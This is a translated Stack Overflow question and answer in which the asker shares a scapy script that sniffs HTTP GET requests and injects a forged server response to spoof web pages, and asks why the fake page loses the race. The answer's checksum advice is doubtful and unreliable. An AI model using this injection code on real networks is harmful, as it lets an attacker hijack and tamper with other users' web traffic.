gpt4 book ai didi

python-2.7 - 通过数据包注入(inject)进行 HTTP 响应欺骗

转载 作者:可可西里 更新时间:2023-11-01 02:54:20 26 4
gpt4 key购买 nike

我正在尝试使用 python 中的 scapy 发送虚假网页作为响应。我有这个非常简单的代码,只要它看到来自本地机器的 GET 请求,它就会发送一个简短的 html 页面。但不知何故它不起作用,实际页面总是显示在浏览器中。

from scapy.all import *

def callback(packt):
## packt.show()
if Raw in packt[TCP]:
if packt[TCP][Raw].load.startswith('GET'):
resp='HTTP/1.1 200 OK\r\nServer: Apache HACKER\r\nContent-Type: text/html\r\n\r\n<html><head><title> an example </title> </head><body> Hello World, </body></html>'
spoof_packt=Ether(dst=packt[Ether].src,src=packt[Ether].dst)/IP(src=packt[IP].dst,dst=packt[IP].src,ttl=44)/TCP(sport=80,dport=packt[TCP].sport,seq=packt[TCP].ack,ack=packt[TCP].seq+len(packt[TCP][Raw]),flags='PA')/resp
sendp(spoof_packt)

interface="eth0"

sniff(iface=interface,filter="tcp port 80", prn=callback)

我使用 WireShark 捕获数据包跟踪,我发现我的数据包在 Web 服务器的实际响应之前到达。这是来自 WireShark GUI 的数据包跟踪截图。 enter image description here

用橙色突出显示的数据包是由我的程序发送的欺骗数据包,该程序在同一台机器上本地运行。第一个黑色突出显示的数据包是来自网络服务器的实际响应。我验证了,两个数据包中的 SEQ 和 ACK 编号相同。

如果需要更多信息,请告诉我,我会更新问题。

最佳答案

您必须将数据包 header 中的校验和更新到新页面。受害计算机尝试验证校验和,发现不匹配后,它以某种方式要求服务器重新发送数据包。

关于python-2.7 - 通过数据包注入(inject)进行 HTTP 响应欺骗,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/30338426/

26 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com